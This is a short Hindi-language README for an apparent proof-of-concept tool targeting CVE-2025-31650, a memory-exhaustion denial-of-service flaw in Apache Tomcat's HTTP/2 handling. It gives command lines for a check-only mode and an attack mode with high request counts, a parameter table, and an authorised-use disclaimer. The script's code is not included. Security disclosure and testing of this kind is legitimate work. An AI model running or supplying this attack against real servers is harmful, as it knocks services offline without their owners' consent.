tunahantekeoglu/cve-2025-31650CVE-2025-31650 PoC
🚨 Apache Tomcat HTTP/2 DoS भेद्यता (CVE-2025-31650) के लिए प्रूफ ऑफ कॉन्सेप्ट (PoC)
यह स्क्रिप्ट HTTP/2 पर विकृत priority हेडर भेजकर Apache Tomcat में मेमोरी समाप्ति की स्थिति उत्पन्न करती है।
Server हेडर निरीक्षण (Tomcat का पता लगाना)--check-only मोड (गैर-हस्तक्षेपकारी)python3 tomcatkiller.py --target https://example.com:8443 --check-only
python3 tomcatkiller.py --target https://example.com:8443 --exploit --tasks 50 --requests 5000
| पैरामीटर | विवरण |
|---|---|
--target | प्रोटोकॉल और पोर्ट के साथ पूरा लक्ष्य URL |
--check-only | केवल यह जाँचें कि सर्वर HTTP/2 और Tomcat का समर्थन करता है या नहीं |
--exploit | वास्तविक DoS हमला चलाएँ |
--tasks | एसिंक्रॉनस कार्यों की संख्या (डिफ़ॉल्ट: 50) |
--requests | प्रति कार्य अनुरोध (डिफ़ॉल्ट: 5000) |
यह PoC केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण ही के लिए है।
स्पष्ट अनुमति के बिना इसे सिस्टम के विरुद्ध उपयोग न करें।